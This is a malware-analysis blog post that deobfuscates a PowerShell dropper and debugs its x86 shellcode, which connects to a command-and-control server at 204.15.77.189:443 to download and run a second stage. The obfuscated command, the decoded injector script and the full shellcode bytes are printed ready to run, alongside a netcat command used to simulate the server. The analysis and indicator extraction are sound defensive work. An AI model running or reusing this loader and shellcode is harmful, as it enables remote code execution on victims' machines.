Powershell 2 Shellcode Part II

Recap:

Hi guys,

In the previous post I’ve done a short analysis on a batch script and got to a non-working shellcode. I don’t know why some pieces of malware decode to bad shellcodes, but as I promised, I came back with a working one to build on top of the previous post.

The script from today’s post has the following hash and is very similar to the previous one, good for a recap:

  • 009a2c4a8d4b77935d8435dc091e2efebfacabe4cc80bf7c4ff185c4d8b7fd37

You can see it’s contents bellow

powershell /w 1 /C "s''v sK -;s''v Jc e''c;s''v Nls ((g''v sK).value.toString()+(g''v Jc).value.toString());powershell (g''v Nls).value.toString() ('JABKAHMAIAA9ACAAJwAkAFgAZAB0ACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQARwB4ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAWABkAHQAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAVwBUACAAPQAgADAAeABmAGMALAAwAHgAZQA4ACwAMAB4ADgAMgAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADAALAAwAHgAOAA5ACwAMAB4AGUANQAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4ADYANAAsADAAeAA4AGIALAAwAHgANQAwACwAMAB4ADMAMAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADAAYwAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADEANAAsADAAeAA4AGIALAAwAHgANwAyACwAMAB4ADIAOAAsADAAeAAwAGYALAAwAHgAYgA3ACwAMAB4ADQAYQAsADAAeAAyADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeABhAGMALAAwAHgAMwBjACwAMAB4ADYAMQAsADAAeAA3AGMALAAwAHgAMAAyACwAMAB4ADIAYwAsADAAeAAyADAALAAwAHgAYwAxACwAMAB4AGMAZgAsADAAeAAwAGQALAAwAHgAMAAxACwAMAB4AGMANwAsADAAeABlADIALAAwAHgAZgAyACwAMAB4ADUAMgAsADAAeAA1ADcALAAwAHgAOABiACwAMAB4ADUAMgAsADAAeAAxADAALAAwAHgAOABiACwAMAB4ADQAYQAsADAAeAAzAGMALAAwAHgAOABiACwAMAB4ADQAYwAsADAAeAAxADEALAAwAHgANwA4ACwAMAB4AGUAMwAsADAAeAA0ADgALAAwAHgAMAAxACwAMAB4AGQAMQAsADAAeAA1ADEALAAwAHgAOABiACwAMAB4ADUAOQAsADAAeAAyADAALAAwAHgAMAAxACwAMAB4AGQAMwAsADAAeAA4AGIALAAwAHgANAA5ACwAMAB4ADEAOAAsADAAeABlADMALAAwAHgAMwBhACwAMAB4ADQAOQAsADAAeAA4AGIALAAwAHgAMwA0ACwAMAB4ADgAYgAsADAAeAAwADEALAAwAHgAZAA2ACwAMAB4ADMAMQAsADAAeABmAGYALAAwAHgAYQBjACwAMAB4AGMAMQAsADAAeABjAGYALAAwAHgAMABkACwAMAB4ADAAMQAsADAAeABjADcALAAwAHgAMwA4ACwAMAB4AGUAMAAsADAAeAA3ADUALAAwAHgAZgA2ACwAMAB4ADAAMwAsADAAeAA3AGQALAAwAHgAZgA4ACwAMAB4ADMAYgAsADAAeAA3AGQALAAwAHgAMgA0ACwAMAB4ADcANQAsADAAeABlADQALAAwAHgANQA4ACwAMAB4ADgAYgAsADAAeAA1ADgALAAwAHgAMgA0ACwAMAB4ADAAMQAsADAAeABkADMALAAwAHgANgA2ACwAMAB4ADgAYgAsADAAeAAwAGMALAAwAHgANABiACwAMAB4ADgAYgAsADAAeAA1ADgALAAwAHgAMQBjACwAMAB4ADAAMQAsADAAeABkADMALAAwAHgAOABiACwAMAB4ADAANAAsADAAeAA4AGIALAAwAHgAMAAxACwAMAB4AGQAMAAsADAAeAA4ADkALAAwAHgANAA0ACwAMAB4ADIANAAsADAAeAAyADQALAAwAHgANQBiACwAMAB4ADUAYgAsADAAeAA2ADEALAAwAHgANQA5ACwAMAB4ADUAYQAsADAAeAA1ADEALAAwAHgAZgBmACwAMAB4AGUAMAAsADAAeAA1AGYALAAwAHgANQBmACwAMAB4ADUAYQAsADAAeAA4AGIALAAwAHgAMQAyACwAMAB4AGUAYgAsADAAeAA4AGQALAAwAHgANQBkACwAMAB4ADYAOAAsADAAeAAzADMALAAwAHgAMwAyACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANgA4ACwAMAB4ADcANwAsADAAeAA3ADMALAAwAHgAMwAyACwAMAB4ADUAZgAsADAAeAA1ADQALAAwAHgANgA4ACwAMAB4ADQAYwAsADAAeAA3ADcALAAwAHgAMgA2ACwAMAB4ADAANwAsADAAeAA4ADkALAAwAHgAZQA4ACwAMAB4AGYAZgAsADAAeABkADAALAAwAHgAYgA4ACwAMAB4ADkAMAAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAAyADkALAAwAHgAYwA0ACwAMAB4ADUANAAsADAAeAA1ADAALAAwAHgANgA4ACwAMAB4ADIAOQAsADAAeAA4ADAALAAwAHgANgBiACwAMAB4ADAAMAAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADYAYQAsADAAeAAwAGEALAAwAHgANgA4ACwAMAB4AGMAYwAsADAAeAAwAGYALAAwAHgANABkACwAMAB4AGIAZAAsADAAeAA2ADgALAAwAHgAMAAyACwAMAB4ADAAMAAsADAAeAAwADEALAAwAHgAYgBiACwAMAB4ADgAOQAsADAAeABlADYALAAwAHgANQAwACwAMAB4ADUAMAAsADAAeAA1ADAALAAwAHgANQAwACwAMAB4ADQAMAAsADAAeAA1ADAALAAwAHgANAAwACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAZQBhACwAMAB4ADAAZgAsADAAeABkAGYALAAwAHgAZQAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOQA3ACwAM'+'AB4ADYAYQAsADAAeAAxADAALAAwAHgANQA2ACwAMAB4ADUANwAsADAAeAA2ADgALAAwAHgAOQA5ACwAMAB4AGEANQAsADAAeAA3ADQALAAwAHgANgAxACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOAA1ACwAMAB4AGMAMAAsADAAeAA3ADQALAAwAHgAMABjACwAMAB4AGYAZgAsADAAeAA0AGUALAAwAHgAMAA4ACwAMAB4ADcANQAsADAAeABlAGMALAAwAHgANgA4ACwAMAB4AGYAMAAsADAAeABiADUALAAwAHgAYQAyACwAMAB4ADUANgAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADYAYQAsADAAeAAwADAALAAwAHgANgBhACwAMAB4ADAANAAsADAAeAA1ADYALAAwAHgANQA3ACwAMAB4ADYAOAAsADAAeAAwADIALAAwAHgAZAA5ACwAMAB4AGMAOAAsADAAeAA1AGYALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA4AGIALAAwAHgAMwA2ACwAMAB4ADYAYQAsADAAeAA0ADAALAAwAHgANgA4ACwAMAB4ADAAMAAsADAAeAAxADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA1ADYALAAwAHgANgBhACwAMAB4ADAAMAAsADAAeAA2ADgALAAwAHgANQA4ACwAMAB4AGEANAAsADAAeAA1ADMALAAwAHgAZQA1ACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOQAzACwAMAB4ADUAMwAsADAAeAA2AGEALAAwAHgAMAAwACwAMAB4ADUANgAsADAAeAA1ADMALAAwAHgANQA3ACwAMAB4ADYAOAAsADAAeAAwADIALAAwAHgAZAA5ACwAMAB4AGMAOAAsADAAeAA1AGYALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAAwADEALAAwAHgAYwAzACwAMAB4ADIAOQAsADAAeABjADYALAAwAHgANwA1ACwAMAB4AGUAZQAsADAAeABjADMAOwAkAEoASAAgAD0AIAAwAHgAMQAwADAAOQA7AGkAZgAgACgAJABXAFQALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADkAKQB7ACQASgBIACAAPQAgACQAVwBUAC4ATABlAG4AZwB0AGgAfQA7ACQAbQBSAD0AJABHAHgAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAA5ACwAJABKAEgALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABYAGQAPQAwADsAJABYAGQAIAAtAGwAZQAgACgAJABXAFQALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAWABkACsAKwApACAAewAkAEcAeAA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAG0AUgAuAFQAbwBJAG4AdAAzADIAKAApACsAJABYAGQAKQAsACAAJABXAFQAWwAkAFgAZABdACwAIAAxACkAfQA7ACQARwB4ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABtAFIALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ACkAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAHEAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJABKAHMAKQApADsAJABKAEUAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQATABhACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAEwAYQAgACQASgBFACAAJABxAGQAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQASgBFACAAJABxAGQAIgA7AH0A')"

This one concatenates two strings to form a base64 encoded command. If we take those two strings, concat them and throw them inside CyberChef will end up with the second layer of powershell script. (Don’t forget to Decode Base64 and then Decode Text using UTF16 Little Endian)

$Js = '$Xdt = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$Gx = Add-Type -memberDefinition $Xdt -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$WT = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xcc,0x0f,0x4d,0xbd,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;$JH = 0x1009;if ($WT.Length -gt 0x1009){$JH = $WT.Length};$mR=$Gx::VirtualAlloc(0,0x1009,$JH,0x40);for ($Xd=0;$Xd -le ($WT.Length-1);$Xd++) {$Gx::memset([IntPtr]($mR.ToInt32()+$Xd), $WT[$Xd], 1)};$Gx::CreateThread(0,0,$mR,0,0,0);for (;){Start-Sleep 60};';

$qd = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Js));
$JE = "-ec ";

if([IntPtr]::Size -eq 8){
    $La = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";
    iex "& $La $JE $qd"
}
else{
    iex "& powershell $JE $qd";}

If we look closely, we’ll see two “IEX” instructions again, the same as in the previous post. Since I’m lazy, I can replace those “IEX” with “Write-Host” and execute the script to see what is being printed on the console.

As expected and seen in the code above, the output is a path to powershell with the “-ec” argument and followed by a big Base64 encoded string. Decoding this blob will result in the same contents as the ones stored in the “$Js” variable.

$Xdt = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$Gx = Add-Type -memberDefinition $Xdt -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$WT = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xcc,0x0f,0x4d,0xbd,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;

$JH = 0x1009;
if ($WT.Length -gt 0x1009){
    $JH = $WT.Length
};

$mR=$Gx::VirtualAlloc(0,0x1009,$JH,0x40);
for ($Xd=0;$Xd -le ($WT.Length-1);$Xd++) {
    $Gx::memset([IntPtr]($mR.ToInt32()+$Xd), $WT[$Xd], 1)
};

$Gx::CreateThread(0,0,$mR,0,0,0);

for (;){Start-Sleep 60};

This last code snippet copies a byte array into the newly allocated memory and then creates a thread out of it.

0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xcc,0x0f,0x4d,0xbd,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3

Finally, by removing the “0x” and the comma we can copy and paste these bytes inside a debugger.

Shellcode analysis:

I’m not going to explain the theory behind shellcodes, there are already a plethora of blog posts on this. A shellcode is a piece of compiled code, without any headers, thus it cannot run on it’s own (by double clicking). It has to be inserted in an already running process and move the RIP/EIP register to it to start execution. Usually seen in exploits which write code on the stack and run from there, but this ain’t our case.

Let’s skip the theory and dive into it by opening our debugger. My favourite one is “x64 Dbg” because it can import breakpoints, easy patching, nice and easy to use plugins, the best UI of them all, etc.

Since shellcodes can’t run on their own, let’s open the calc.exe app in the debugger, press F9 once to get from “ntdll.dll” to the entry point (EP) of calc. My presumption is that this shellcode is compiled for x86 and because of that we must open a x86 calc process from the Syswow64 directory (if not, open the regular x64 one from System32).

Please keep in mind that because of multiple trials, the addresses from the screenshots might the differ. Your address will also be different then mines.

Screen Shot 2018-07-07 at 12.32.21

After the EP has been reached, copy the byte sequence and paste into x32dbg by pressing CTRL+SHIFT+V. The debugger will replace all instruction of calc with the ones from our shellcode. The red opcodes represent modified bytes from our host process.

These look to be legit x86 instructions, we can see some jumps, different pushes on the stack, calls to different parts of the shellcode, but more importantly we can see the code is using the PEB located at FS:30 to dynamically resolve Windows APIs.

This indicates to me that I’m looking on a piece of shellcode and that everything is good by now.

Screen Shot 2018-07-07 at 12.40.20

Later down in the code there are multiple jumps and calls to address stored in some processor registries like EAX, EBP. Since I can’t see any hardcoded values in this Shellcode, I’ll put some breakpoints on these instructions in the hope of rapidly understanding the goal of it.

Screen Shot 2018-07-07 at 12.46.51

In the meantime I’ve got a Wireshark instance running in the background to catch any network activity I might jump over by mistake.

Let’s run the code and see what it’s doing. The first breakpoint that it hit calls a subroutine defined in our shellcode and at the second breakpoint it does a jump to “LoadLibraryA” with a stack argument of “ws2_32”. LoadLibraryA will return a handle of the “ws2_32” DLL in EAX.

jumpLoadLibrary

Notice that a Jump is being used to execute the routines from Windows DLLs, for the shellcode to run correctly it must push on the stack the return address for the callee to return to. You might want to keep this in mind, or google “x86Calling conventions” for more details.

Further, after several BP hits, we see that the previous jump to EAX will call “WSAStartup”, “WSASocketA” API functions from the Windows OS. These are responsible for creating a connection to the internet using the TCP/IPv4 protocols (seen as arguments, check the MSDN page of these APIs)

WSAStartup

WSASocket

After that a jump to “Connect” is being done. This function establishes a socket using those three arguments pushed on the stack. This one gets 3 arguments and the second one is the one we’re interested in. It’s a pointer to a structure named “sockaddr” and holds data about the IP address to connect to and Port number.

The 3rd and 4th bytes from the structure represent the port number and the 5th to 8th is the IP address:

  • 0x01BB => Port 443
  • 0xCC0F4DBD => IP 204.15.77.189

Connect

We can verify this finding in Wireshark of Process monitor after the routine has been executed. From here we can apply filters to Wireshark and also modify the port number and also the IP address. To be noted that I’m not running malware files live on the internet, but behind a simulated internet which I might show in a separate post.

Next we see several jumps to “recv” and “VirtualAlloc” functions, and storing data in a memory buffer with RWX permissions, indicating that it might download a new piece of code and execute it.

recv

VitualAlloc

Since we are running in an isolated network, we need a server to simulate the C&C, we can do this by running a netcat:

nc -l -p 443 < shell.bin

The last instructions of the shellcode are responsible of receiving the data from the C&C and they are followed by a conditional jump (JNE). That last jump checks to see if the download was completed, if yes, the jump is not made and execution continues to the RET instruction.

End

RET pops into the last 4 bytes from the stack into EIP and the process continues execution from there. In our case the address on top of the stack is 0x02280000.

Since I had some issues with synchronising the downloaded data from my netcat, I pasted the shellcode again just to illustrate the return action.

end2

Unfortunately, the original C&C is not responding to my requests so I can’t know what is being downloaded from there. It might be that the C&C checks my IP address and takes action only if a certain address is seen.

Conclusion:

I often hear people complaining that shellcodes are hard to analyse, of course if you want to fully understand the mechanism of a shellcode it takes a lot of hard work, but most of the times it’s enough just to paste the code inside a debugger, add some breakpoints and enjoy the magic. You can easily get some IOCs and also understand the purpose of that piece of code.

The one exemplified in this post contacts the C&C to download additional code to be executed. It can be anything imaginable.

Thx, C yea!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s